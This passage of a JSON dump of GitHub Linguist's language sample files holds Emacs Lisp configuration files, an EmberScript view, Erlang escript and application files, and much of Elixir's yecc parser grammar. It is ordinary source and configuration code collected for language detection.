uses the first installed\n   ;; tool of the list. Supported tools are `ag', `pt', `ack' and `grep'.\n   dotspacemacs-search-tools '(\"ag\" \"pt\" \"ack\" \"grep\")\n   ;; The default package repository used if no explicit repository has been\n   ;; specified with an installed package.\n   ;; Not used for now.\n   dotspacemacs-default-package-repository nil\n\n   ;; If non nil line numbers are turned on in all `prog-mode' and `text-mode'\n   ;; derivatives. If set to `relative', also turns on relative line numbers.\n   ;; (default nil)\n   dotspacemacs-line-numbers 'relative\n\n   ;; Delete whitespace while saving buffer. Possible values are `all',\n   ;; `trailing', `changed' or `nil'. Default is `changed' (cleanup whitespace\n   ;; on changed lines) (default 'changed)\n   dotspacemacs-whitespace-cleanup 'changed\n   )\n  ;; User initialization goes here\n  )\n\n(defun dotspacemacs/user-config ()\n  \"Configuration function.\n This function is called at the very end of Spacemacs initialization after\nlayers configuration.\"\n  (add-hook 'alchemist-mode-hook 'company-mode)\n\n  (add-hook 'projectile-mode-hook 'projectile-rails-on)\n  (setq ruby-insert-encoding-magic-comment nil)\n\n  (setq web-mode-markup-indent-offset 2)\n  (setq web-mode-code-indent-offset 2)\n\n  (spacemacs/toggle-golden-ratio-on)\n  (spacemacs/toggle-indent-guide-globally-on)\n  (spacemacs/toggle-centered-point-globally-on)\n)\n\n;; Do not write anything past this comment. This is where Emacs will\n;; auto-generate custom variable definitions.\n(custom-set-variables\n ;; custom-set-variables was added by Custom.\n ;; If you edit it by hand, you could mess it up, so be careful.\n ;; Your init file should contain only one such instance.\n ;; If there is more than one, they won't work right.\n)\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/.viper",
    "content": "(setq viper-inhibit-startup-message 't)\n(setq viper-expert-level '5)\n\n; Key bindings\n(define-key viper-vi-global-user-map \"\\C-d\" 'end-of-line)\n\n; Return to top of window\n(defun my-viper-return-to-top ()\n  (interactive)\n  (beginning-of-buffer))\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/Cask",
    "content": "(package \"composer\" \"0.0.7\" \"Interface to PHP Composer\")\n(source \"melpa\" \"https://melpa.org/packages/\")\n\n(package-file \"composer.el\")\n\n(depends-on \"f\")\n(depends-on \"s\")\n(depends-on \"request\")\n(depends-on \"seq\")\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/Eask",
    "content": ";; -*- mode: eask; lexical-binding: t -*-\n\n(package \"composer\"\n         \"0.2.0\"\n         \"Interface to PHP Composer\")\n\n(website-url \"https://github.com/emacs-php/composer.el\")\n(keywords \"tools\" \"php\" \"dependency\" \"manager\")\n\n(package-file \"composer.el\")\n\n(script \"test\" \"echo \\\"Error: no test specified\\\" && exit 1\")\n\n(source 'gnu)\n(source 'melpa)\n\n(depends-on \"emacs\" \"25.1\")\n(depends-on \"seq\")\n(depends-on \"php-runtime\")\n\n(setq network-security-level 'low)  ; see https://github.com/jcs090218/setup-emacs-windows/issues/156#issuecomment-932956432\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/Project.ede",
    "content": ";; Object EDE\n(ede-proj-project \"Linguist\"\n  :name \"Linguist\"\n  :version \"4.9\"\n  :file \"Project.ede\"\n  :targets (list \n   (ede-proj-target-elisp-autoloads \"autoloads\"\n    :name \"autoloads\"\n    :path \"test/samples/Emacs Lisp\"\n    :autoload-file \"dude.el\"\n    )\n   (ede-proj-target-elisp \"init\"\n    :name \"init\"\n    :path \"\"\n    :source '(\"ede-load.el\" \"wait-what.el\")\n    :compiler 'ede-emacs-preload-compiler\n    :pre-load-packages '(\"sample-names\")\n    )\n   (ede-proj-target-elisp \"what\"\n    :name \"the\"\n    :path \"\"\n    :source '(\"h.el\" \"am-i-writing.el\")\n    :versionsource '(\"hell.el\")\n    :compiler 'ede-emacs-preload-compiler\n    :aux-packages '(\"what\" \"the\" \"hell-files\" \"am-i-writing\")\n    )\n   )\n  :web-site-url \"https://github.com/github/linguist\"\n  :web-site-directory \"../\"\n  :web-site-file \"CONTRIBUTING.md\"\n  :ftp-upload-site \"/ftp@git.hub.com:/madeup\"\n  :configuration-variables 'nil\n  :metasubproject 't\n  )\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/_emacs",
    "content": ";; UTF-8 support\n;; (set-language-environment \"UTF-8\")\n(setenv \"LANG\" \"en_AU.UTF-8\")\n(setenv \"LC_ALL\" \"en_AU.UTF-8\")\n(setq default-tab-width 4)\n\n\n;;; Function to load all \".el\" files in ~/.emacs.d/config\n(defun load-directory (directory)\n  \"Recursively load all Emacs Lisp files in a directory.\"\n  (dolist (element (directory-files-and-attributes directory nil nil nil))\n    (let* ((path (car element))\n           (fullpath (concat directory \"/\" path))\n           (isdir (car (cdr element)))\n           (ignore-dir (or (string= path \".\") (string= path \"..\"))))\n      (cond\n       ((and (eq isdir t) (not ignore-dir))\n        (load-directory fullpath))\n       ((and (eq isdir nil) (string= (substring path -3) \".el\"))\n        (load (file-name-sans-extension fullpath)))))))\n\n;; Tell Emacs we'd like to use Hunspell for spell-checking\n(setq ispell-program-name (executable-find \"hunspell\"))\n\n;; Load Homebrew-installed packages\n(let ((default-directory \"/usr/local/share/emacs/site-lisp/\"))\n  (normal-top-level-add-subdirs-to-load-path))\n(load \"aggressive-indent\")\n(add-hook 'emacs-lisp-mode-hook #'aggressive-indent-mode)\n(autoload 'rust-mode \"rust-mode\" nil t)\n(add-to-list 'auto-mode-alist '(\"\\\\.rs\\\\'\" . rust-mode))\n\n;; Load Git-related syntax highlighting\n(add-to-list 'load-path \"~/.emacs.d/lisp/\")\n(load \"git-modes\")\n(load \"git-commit\")\n\n;; Keybindings\n(global-set-key (kbd \"C-u\") (lambda ()\n                             (interactive)\n                             (kill-line 0)))\n\n;; Show cursor's current column number\n(setq column-number-mode t)\n\n;; Disable autosave\n(setq auto-save-default nil)\n\n;; Use a single directory for storing backup files\n(setq backup-directory-alist `((\".\" . \"~/.emacs.d/auto-save-list\")))\n(setq backup-by-copying t)\n(setq delete-old-versions t\n      kept-new-versions 6\n      kept-old-versions 2\n      version-control t)\n\n(custom-set-variables\n ;; custom-set-variables was added by Custom.\n ;; If you edit it by hand, you could mess it up, so be careful.\n ;; Your init file should contain only one such instance.\n ;; If there is more than one, they won't work right.\n '(blink-cursor-mode nil)\n '(column-number-mode t)\n '(show-paren-mode t))\n(custom-set-faces\n ;; custom-set-faces was added by Custom.\n ;; If you edit it by hand, you could mess it up, so be careful.\n ;; Your init file should contain only one such instance.\n ;; If there is more than one, they won't work right.\n )\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/abbrev_defs",
    "content": "(define-abbrev-table 'fundamental-mode-abbrev-table '(\n\t(\"cat\" \"Concatenate\" nil 0)\n\t(\"WTF\" \"World Trade Federation \" nil 0)\n\t(\"rtbtm\" \"Read that back to me\" nil 0)))\n\n(define-abbrev-table 'shell-script-mode-abbrev-table '(\n\t(\"brake\", \"bundle rake exec\" nil 0)\n\t(\"pls\", \"warning: setting Encoding.default_external\")))\n"
  },
  {
    "path": "samples/EmberScript/momentComponent.em",
    "content": "class App.FromNowView extends Ember.View\n    tagName: 'time'\n    template: Ember.Handlebars.compile '{{view.output}}'\n    output: ~>\n        return moment(@value).fromNow()\n\n    didInsertElement: ->\n        @tick()\n\n    tick: ->\n        f = ->\n            @notifyPropertyChange 'output'\n            @tick()\n\n        nextTick = Ember.run.later(this, f, 1000)\n        @set 'nextTick', nextTick\n\n    willDestroyElement: ->\n        nextTick = @nextTick\n        Ember.run.cancel nextTick\n\nEmber.Handlebars.helper 'fromNow', App.FromNowView\n\n"
  },
  {
    "path": "samples/Erlang/170-os-daemons.es",
    "content": "#! /usr/bin/env escript\n\n% Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n% use this file except in compliance with the License. You may obtain a copy of\n% the License at\n%\n%   http://www.apache.org/licenses/LICENSE-2.0\n%\n% Unless required by applicable law or agreed to in writing, software\n% distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n% WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n% License for the specific language governing permissions and limitations under\n% the License.\n\nloop() ->\n\tloop(io:read(\"\")).\n\nloop({ok, _}) ->\n\tloop(io:read(\"\"));\nloop(eof) ->\n\tstop;\nloop({error, Reason}) ->\n\tthrow({error, Reason}).\n\nmain([]) ->\n\tloop().\n"
  },
  {
    "path": "samples/Erlang/compiler.app",
    "content": "% This is an -*- erlang -*- file.\n%% %CopyrightBegin%\n%%\n%% Copyright Ericsson AB 1997-2022. All Rights Reserved.\n%%\n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n%%\n%% %CopyrightEnd%\n\n{application, compiler,\n    [{description, \"ERTS  CXC 138 10\"},\n        {vsn, \"8.2.2\"},\n        {modules, [\n            beam_a,\n            beam_asm,\n            beam_bounds,\n            beam_block,\n            beam_call_types,\n            beam_clean,\n            beam_dict,\n            beam_digraph,\n            beam_disasm,\n            beam_flatten,\n            beam_jump,\n            beam_kernel_to_ssa,\n            beam_listing,\n            beam_opcodes,\n            beam_ssa,\n            beam_ssa_bc_size,\n            beam_ssa_bool,\n            beam_ssa_bsm,\n            beam_ssa_codegen,\n            beam_ssa_dead,\n            beam_ssa_lint,\n            beam_ssa_opt,\n            beam_ssa_pp,\n            beam_ssa_pre_codegen,\n            beam_ssa_recv,\n            beam_ssa_share,\n            beam_ssa_throw,\n            beam_ssa_type,\n            beam_trim,\n            beam_types,\n            beam_utils,\n            beam_validator,\n            beam_z,\n            cerl,\n            cerl_clauses,\n            cerl_inline,\n            cerl_trees,\n            compile,\n            core_scan,\n            core_lint,\n            core_parse,\n            core_pp,\n            core_lib,\n            erl_bifs,\n            rec_env,\n            sys_core_alias,\n            sys_core_bsm,\n            sys_core_fold,\n            sys_core_fold_lists,\n            sys_core_inline,\n            sys_core_prepare,\n            sys_messages,\n            sys_pre_attributes,\n            v3_core,\n            v3_kernel,\n            v3_kernel_pp\n        ]},\n        {registered, []},\n        {applications, [kernel, stdlib]},\n        {env, []},\n        {runtime_dependencies, [\"stdlib-4.0\",\"kernel-8.4\",\"erts-13.0\",\n\"crypto-5.1\"]}]}.\n"
  },
  {
    "path": "samples/Erlang/elixir_parser.yrl",
    "content": "Nonterminals\n  grammar expr_list\n  expr container_expr block_expr access_expr\n  no_parens_expr no_parens_zero_expr no_parens_one_expr no_parens_one_ambig_expr\n  bracket_expr bracket_at_expr bracket_arg matched_expr unmatched_expr max_expr\n  unmatched_op_expr matched_op_expr no_parens_op_expr no_parens_many_expr\n  comp_op_eol at_op_eol unary_op_eol and_op_eol or_op_eol capture_op_eol\n  add_op_eol mult_op_eol two_op_eol three_op_eol pipe_op_eol stab_op_eol\n  arrow_op_eol match_op_eol when_op_eol in_op_eol in_match_op_eol\n  type_op_eol rel_op_eol\n  open_paren close_paren empty_paren eoe\n  list list_args open_bracket close_bracket\n  tuple open_curly close_curly\n  bit_string open_bit close_bit\n  map map_op map_close map_args map_expr struct_op\n  assoc_op_eol assoc_expr assoc_base assoc_update assoc_update_kw assoc\n  container_args_base container_args\n  call_args_parens_expr call_args_parens_base call_args_parens parens_call\n  call_args_no_parens_one call_args_no_parens_ambig call_args_no_parens_expr\n  call_args_no_parens_comma_expr call_args_no_parens_all call_args_no_parens_many\n  call_args_no_parens_many_strict\n  stab stab_eoe stab_expr stab_op_eol_and_expr stab_parens_many\n  kw_eol kw_base kw call_args_no_parens_kw_expr call_args_no_parens_kw\n  dot_op dot_alias dot_alias_container\n  dot_identifier dot_op_identifier dot_do_identifier\n  dot_paren_identifier dot_bracket_identifier\n  do_block fn_eoe do_eoe end_eoe block_eoe block_item block_list\n  .\n\nTerminals\n  identifier kw_identifier kw_identifier_safe kw_identifier_unsafe bracket_identifier\n  paren_identifier do_identifier block_identifier\n  fn 'end' aliases\n  number atom atom_safe atom_unsafe bin_string list_string sigil\n  dot_call_op op_identifier\n  comp_op at_op unary_op and_op or_op arrow_op match_op in_op in_match_op\n  type_op dual_op add_op mult_op two_op three_op pipe_op stab_op when_op assoc_op\n  capture_op rel_op\n  'true' 'false' 'nil' 'do' eol ';' ',' '.'\n  '(' ')' '[' ']' '{' '}' '<<' '>>' '%{}' '%'\n  .\n\nRootsymbol grammar.\n\n%% Two shift/reduce conflicts coming from call_args_parens.\nExpect 2.\n\n%% Changes in ops and precedence should be reflected on lib/elixir/lib/macro.ex\n%% Note though the operator => in practice has lower precedence than all others,\n%% its entry in the table is only to support the %{user | foo => bar} syntax.\nLeft       5 do.\nRight     10 stab_op_eol.     %% ->\nLeft      20 ','.\nNonassoc  30 capture_op_eol.  %% &\nLeft      40 in_match_op_eol. %% <-, \\\\ (allowed in matches along =)\nRight     50 when_op_eol.     %% when\nRight     60 type_op_eol.     %% ::\nRight     70 pipe_op_eol.     %% |\nRight     80 assoc_op_eol.    %% =>\nRight     90 match_op_eol.    %% =\nLeft     130 or_op_eol.       %% ||, |||, or\nLeft     140 and_op_eol.      %% &&, &&&, and\nLeft     150 comp_op_eol.     %% ==, !=, =~, ===, !==\nLeft     160 rel_op_eol.      %% <, >, <=, >=\nLeft     170 arrow_op_eol.    %% |>, <<<, >>>, ~>>, <<~, ~>, <~, <~>, <|>\nLeft     180 in_op_eol.       %% in\nLeft     190 three_op_eol.    %% ^^^\nRight    200 two_op_eol.      %% ++, --, .., <>\nLeft     210 add_op_eol.      %% +, -\nLeft     220 mult_op_eol.     %% *, /\nNonassoc 300 unary_op_eol.    %% +, -, !, ^, not, ~~~\nLeft     310 dot_call_op.\nLeft     310 dot_op.          %% .\nNonassoc 320 at_op_eol.       %% @\nNonassoc 330 dot_identifier.\n\n%%% MAIN FLOW OF EXPRESSIONS\n\ngrammar -> eoe : nil.\ngrammar -> expr_list : to_block('$1').\ngrammar -> eoe expr_list : to_block('$2').\ngrammar -> expr_list eoe : to_block('$1').\ngrammar -> eoe expr_list eoe : to_block('$2').\ngrammar -> '$empty' : nil.\n\n% Note expressions are on reverse order\nexpr_list -> expr : ['$1'].\nexpr_list -> expr_list eoe expr : ['$3'|'$1'].\n\nexpr -> matched_expr : '$1'.\nexpr -> no_parens_expr : '$1'.\nexpr -> unmatched_expr : '$1'.\n\n%% In Elixir we have three main call syntaxes: with parentheses,\n%% without parentheses and with do blocks. They are represented\n%% in the AST as matched, no_parens and unmatched.\n%%\n%% Calls without parentheses are further divided according to how\n%% problematic they are:\n%%\n%% (a) no_parens_one: a call with one unproblematic argument\n%% (e.g. `f a` or `f g a` and similar) (includes unary operators)\n%%\n%% (b) no_parens_many: a call with several arguments (e.g. `f a, b`)\n%%\n%% (c) no_parens_one_ambig: a call with one argument which is\n%% itself a no_parens_many or no_parens_one_ambig (e.g. `f g a, b`\n%% or `f g h a, b` and similar)\n%%\n%% Note, in particular, that no_parens_one_ambig expressions are\n%% ambiguous and are interpreted such that the outer function has\n%% arity 1 (e.g. `f g a, b` is interpreted as `f(g(a, b))` rather\n%% than `f(g(a), b)`). Hence the name, no_parens_one_ambig.\n%%\n%% The distinction is required because we can't, for example, have\n%% a function call with a do block as argument inside another do\n%% block call, unless there are parentheses:\n%%\n%%   if if true do true else false end do  #=> invalid\n%%   if(if true do true else false end) do #=> valid\n%%\n%% Similarly, it is not possible to nest calls without parentheses\n%% if their arity is more than 1:\n%%\n%%   foo a, bar b, c  #=> invalid\n%%   foo(a, bar b, c) #=> invalid\n%%   foo bar a, b     #=> valid\n%%   foo a, bar(b, c) #=> valid\n%%\n%% So the different grammar rules need to take into account\n%% if calls without parentheses are do blocks in particular\n%% segments and act accordingly.\nmatched_expr -> matched_expr matched_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nmatched_expr -> unary_op_eol matched_expr : build_unary_op('$1', '$2').\nmatched_expr -> at_op_eol matched_expr : build_unary_op('$1', '$2').\nmatched_expr -> capture_op_eol matched_expr : build_unary_op('$1', '$2').\nmatched_expr -> no_parens_one_expr : '$1'.\nmatched_expr -> no_parens_zero_expr : '$1'.\nmatched_expr -> access_expr : '$1'.\nmatched_expr -> access_expr kw_identifier : throw_invalid_kw_identifier('$2').\n\nunmatched_expr -> matched_expr unmatched_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nunmatched_expr -> unmatched_expr matched_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nunmatched_expr -> unmatched_expr unmatched_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nunmatched_expr -> unmatched_expr no_parens_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nunmatched_expr -> unary_op_eol expr : build_unary_op('$1', '$2').\nunmatched_expr -> at_op_eol expr : build_unary_op('$1', '$2').\nunmatched_expr -> capture_op_eol expr : build_unary_op('$1', '$2').\nunmatched_expr -> block_expr : '$1'.\n\nno_parens_expr -> matched_expr no_parens_op_expr : build_op(element(1, '$2'), '$1', element(2, '$2')).\nno_parens_expr -> unary_op_eol no_parens_expr : build_unary_op('$1', '$2').\nno_parens_expr -> at_op_eol no_parens_expr : build_unary_op('$1', '$2').\nno_parens_expr -> capture_op_eol no_parens_expr : build_unary_op('$1', '$2').\nno_parens_expr -> no_parens_one_ambig_expr : '$1'.\nno_parens_expr -> no_parens_many_expr : '$1'.\n\nblock_expr -> parens_call call_args_parens do_block : build_identifier('$1', '$2' ++ '$3').\nblock_expr -> parens_call call_args_parens call_args_parens do_block : build_nested_parens('$1', '$2', '$3' ++ '$4').\nblock_expr -> dot_do_identifier do_block : build_identifier('$1', '$2').\nblock_expr -> dot_identifier call_args_no_parens_all do_block : build_identifier('$1', '$2' ++ '$3').\n\nmatched_op_expr -> match_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> add_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> mult_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> two_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> three_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> and_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> or_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> in_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> in_match_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> type_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> when_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> pipe_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> comp_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> rel_op_eol matched_expr : {'$1', '$2'}.\nmatched_op_expr -> arrow_op_eol matched_expr : {'$1', '$2'}.\n%% Warn for no parens subset\nmatched_op_expr -> arrow_op_eol no_parens_one_expr : warn_pipe('$1', '$2'), {'$1', '$2'}.\n\nunmatched_op_expr -> match_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> add_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> mult_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> two_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> three_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> and_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> or_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> in_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> in_match_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> type_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> when_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> pipe_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> comp_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> rel_op_eol unmatched_expr : {'$1', '$2'}.\nunmatched_op_expr -> arrow_op_eol unmatched_expr : {'$1', '$2'}.\n\nno_parens_op_expr -> match_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> add_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> mult_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> two_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> three_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> and_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> or_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> in_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> in_match_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> type_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> when_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> pipe_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> comp_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> rel_op_eol no_parens_expr : {'$1', '$2'}.\nno_parens_op_expr -> arrow_op_eol no_parens_expr : {'$1', '$2'}.\n%% Warn for no parens subset\nno_parens_op_expr -> arrow_op_eol no_parens_one_ambig_expr : warn_pipe('$1', '$2'), {'$1', '$2'}.\nno_parens_op_expr -> arrow_op_eol no_parens_many_expr : warn_pipe('$1', '$2'), {'$1', '$2'}.\n\n%% Allow when (and only when) with keywords\nno_parens_op_expr -> when_op_eol call_args_no_parens_kw : {'$1', '$2'}.\n\nno_parens_one_ambig_expr -> dot_op_identifier call_args_no_parens_ambig : build_identifier('$1', '$2').\nno_parens_one_ambig_expr -> dot_identifier call_args_no_parens_ambig : build_identifier('$1', '$2').\n\nno_parens_many_expr -> dot_op_identifier call_args_no_parens_many_strict : build_identifier('$1', '$2').\nno_parens_many_expr -> dot_identifier call_args_no_parens_many_strict : build_identifier('$1', '$2').\n\nno_parens_one_expr -> dot_op_identifier call_args_no_parens_one : build_identifier('$1', '$2').\nno_parens_one_expr -> dot_identifier call_args_no_parens_one : build_identifier('$1', '$2').\nno_parens_zero_expr -> dot_do_identifier : build_identifier('$1', nil).\nno_parens_zero_expr -> dot_identifier : build_identifier('$1', nil).\n\n%% From this point on, we just have constructs that can be\n%% used with the access syntax. Notice that (dot_)identifier\n%% is not included in this list simply because the tokenizer\n%% marks identifiers followed by brackets as bracket_identifier.\naccess_expr -> bracket_at_expr : '$1'.\naccess_expr -> bracket_expr : '$1'.\naccess_expr -> at_op_eol number : build_unary_op('$1', ?exprs('$2')).\naccess_expr -> unary_op_eol number : build_unary_op('$1', ?exprs('$2')).\naccess_expr -> capture_op_eol number : build_unary_op('$1', ?exprs('$2')).\naccess_expr -> fn_eoe stab end_eoe : build_fn('$1', reverse('$2')).\naccess_expr -> open_paren stab close_paren : build_stab(reverse('$2')).\naccess_expr -> open_paren stab ';' close_paren : build_stab(reverse('$2')).\naccess_expr -> open_paren ';' stab ';' close_paren : build_stab(reverse('$3')).\naccess_expr -> open_paren ';' stab close_paren : build_stab(reverse('$3')).\naccess_expr -> open_paren ';' close_paren : build_stab([]).\naccess_expr -> empty_paren : nil.\naccess_expr -> number : ?exprs('$1').\naccess_expr -> list : element(1, '$1').\naccess_expr -> map : '$1'.\naccess_expr -> tuple : '$1'.\naccess_expr -> 'true' : ?id('$1').\naccess_expr -> 'false' : ?id('$1').\naccess_expr -> 'nil' : ?id('$1').\naccess_expr -> bin_string  : build_bin_string('$1').\naccess_expr -> list_string : build_list_string('$1').\naccess_expr -> bit_string : '$1'.\naccess_expr -> sigil : build_sigil('$1').\naccess_expr -> max_expr : '$1'.\n\n%% Aliases and properly formed calls. Used by map_expr.\nmax_expr -> atom : ?exprs('$1').\nmax_expr -> atom_safe : build_quoted_atom('$1', true).\nmax_expr -> atom_unsafe : build_quoted_atom('$1', false).\nmax_expr -> parens_call call_args_parens : build_identifier('$1', '$2').\nmax_expr -> parens_call call_args_parens call_args_parens : build_nested_parens('$1', '$2', '$3').\nmax_expr -> dot_alias : '$1'.\n\nbracket_arg -> open_bracket kw close_bracket : build_list('$1', '$2').\nbracket_arg -> open_bracket container_expr close_bracket : build_list('$1', '$2').\nbracket_arg -> open_bracket container_expr ',' close_bracket : build_list('$1', '$2').\n\nbracket_expr -> dot_bracket_identifier bracket_arg : build_access(build_identifier('$1', nil), '$2').\nbracket_expr -> access_expr bracket_arg : build_access('$1', '$2').\n\nbracket_at_expr -> at_op_eol dot_bracket_identifier bracket_arg :\n                     build_access(build_unary_op('$1', build_identifier('$2', nil)), '$3').\nbracket_at_expr -> at_op_eol access_expr bracket_arg :\n                     build_access(build_unary_op('$1', '$2'), '$3').\n\n%% Blocks\n\ndo_block -> do_eoe 'end' : [[{do, nil}]].\ndo_block -> do_eoe stab end_eoe : [[{do, build_stab(reverse('$2'))}]].\ndo_block -> do_eoe block_list 'end' : [[{do, nil}|'$2']].\ndo_block -> do_eoe stab_eoe block_list 'end' : [[{do, build_stab(reverse('$2'))}|'$3']].\n\neoe -> eol : '$1'.\neoe -> ';' : '$1'.\neoe -> eol ';' : '$1'.\n\nfn_eoe -> 'fn' : '$1'.\nfn_eoe -> 'fn' eoe : '$1'.\n\ndo_eoe -> 'do' : '$1'.\ndo_eoe -> 'do' eoe : '$1'.\n\nend_eoe -> 'end' : '$1'.\nend_eoe -> eoe 'end' : '$2'.\n\nblock_eoe -> block_identifier : '$1'.\nblock_eoe -> block_identifier eoe : '$1'.\n\nstab -> stab_expr : ['$1'].\nstab -> stab eoe stab_expr : ['$3'|'$1'].\n\nstab_eoe -> stab : '$1'.\nstab_eoe -> stab eoe : '$1'.\n\n%% Here, `element(1, Token)` is the stab operator,\n%% while `element(2, Token)` is the expression.\nstab_expr -> expr :\n               '$1'.\nstab_expr -> stab_op_eol_and_expr :\n               build_op(element(1, '$1'), [], element(2, '$1')).\nstab_expr -> empty_paren stab_op_eol_and_expr :\n               build_op(element(1, '$2'), [], element(2, '$2')).\nstab_expr -> call_args_no_parens_all stab_op_eol_and_expr :\n               build_op(element(1, '$2'), unwrap_when(unwrap_splice('$1')), element(2, '$2')).\nstab_expr -> stab_parens_many stab_op_eol_and_expr :\n               build_op(element(1, '$2'), unwrap_splice('$1'), element(2, '$2')).\nstab_expr -> stab_parens_many when_op expr stab_op_eol_and_expr :\n               build_op(element(1, '$4'), [{'when', meta_from_token('$2'), unwrap_splice('$1') ++ ['$3']}], element(2, '$4')).\n\nstab_op_eol_and_expr -> stab_op_eol expr : {'$1', '$2'}.\nstab_op_eol_and_expr -> stab_op_eol : warn_empty_stab_clause('$1'), {'$1', nil}.\n\nblock_item -> block_eoe stab_eoe : {?exprs('$1'), build_stab(reverse('$2'))}.\nblock_item -> block_eoe : {?exprs('$1'), nil}.\n\nblock_list -> block_item : ['$1'].\nblock_list -> block_item block_list : ['$1'|'$2'].\n\n%% Helpers\n\nopen_paren -> '('      : '$1'.\nopen_paren -> '(' eol  : '$1'.\nclose_paren -> ')'     : '$1'.\nclose_paren -> eol ')' : '$2'.\n\nempty_paren -> open_paren ')' : '$1'.\n\nopen_bracket  -> '['     : '$1'.\nopen_bracket  -> '[' eol : '$1'.\nclose_bracket -> ']'     : '$1'.\nclose_bracket -> eol ']' : '$2'.\n\nopen_bit  -> '<<'     : '$1'.\nopen_bit  -> '<<' eol : '$1'.\nclose_bit -> '>>'     : '$1'.\nclose_bit -> eol '>>' : '$2'.\n\nopen_curly  -> '{'     : '$1'.\nopen_curly  -> '{' eol : '$1'.\nclose_curly -> '}'     : '$1'.\nclose_curly -> eol '}' : '$2'.\n\n% Operators\n\nadd_op_eol -> add_op : '$1'.\nadd_op_eol -> add_op eol : '$1'.\nadd_op_eol -> dual_op : '$1'.\nadd_op_eol -> dual_op eol : '$1'.\n\nmult_op_eol -> mult_op : '$1'.\nmult_op_eol -> mult_op eol : '$1'.\n\ntwo_op_eol -> two_op : '$1'.\ntwo_op_eol -> two_op eol : '$1'.\n\nthree_op_eol -> three_op : '$1'.\nthree_op_eol -> three_op eol : '$1'.\n\npipe_op_eol -> pipe_op : '$1'.\npipe_op_eol -> pipe_op eol : '$1'.\n\ncapture_op_eol -> capture_op : '$1'.\ncapture_op_eol -> capture_op eol : '$1'.\n\nunary_op_eol -> unary_op : '$1'.\nunary_op_eol -> unary_op eol : '$1'.\nunary_op_eol -> dual_op : '$1'.\nunary_op_eol -> dual_op eol : '$1'.\n\nmatch_op_eol -> match_op : '$1'.\nmatch_op_eol -> match_op eol : '$1'.\n\nand_op_eol -> and_op : '$1'.\nand_op_eol -> and_op eol : '$1'.\n\nor_op_eol -> or_op : '$1'.\nor_op_eol -> or_op eol : '$1'.\n\nin_op_eol -> in_op : '$1'.\nin_op_eol -> in_op eol : '$1'.\n\nin_match_op_eol -> in_match_op : '$1'.\nin_match_op_eol -> in_match_op eol : '$1'.\n\ntype_op_eol -> type_op : '$1'.\ntype_op_eol -> type_op eol : '$1'.\n\nwhen_op_eol -> when_op : '$1'.\nwhen_op_eol -> when_op eol : '$1'.\n\nstab_op_eol -> stab_op : '$1'.\nstab_op_eol -> stab_op eol : '$1'.\n\nat_op_eol -> at_op : '$1'.\nat_op_eol -> at_op eol : '$1'.\n\ncomp_op_eol -> comp_op : '$1'.\ncomp_op_eol -> comp_op eol : '$1'.\n\nrel_op_eol -> rel_op : '$1'.\nrel_op_eol -> rel_op eol : '$1'.\n\narrow_op_eol -> arrow_op : '$1'.\narrow_op_eol -> arrow_op eol : 